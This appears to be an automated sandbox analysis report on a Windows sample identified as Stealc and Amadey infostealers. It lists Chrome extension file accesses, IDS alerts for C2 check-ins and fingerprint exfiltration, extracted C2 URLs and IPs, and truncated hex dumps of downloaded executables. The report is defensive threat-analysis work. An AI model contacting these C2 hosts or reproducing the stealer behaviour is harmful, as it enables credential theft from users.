Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49724
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49724
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49724 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49989 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49996
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50019 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50025 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	IPs: 92.63.197.221
Source: Malware configuration extractor	IPs: 92.63.197.221
Source: Malware configuration extractor	IPs: 92.63.197.221
Source: Malware configuration extractor	IPs: 92.63.197.221

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 06:37:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 06:37:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 06:37:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 06:37:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 06:37:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 06:38:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 06:38:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 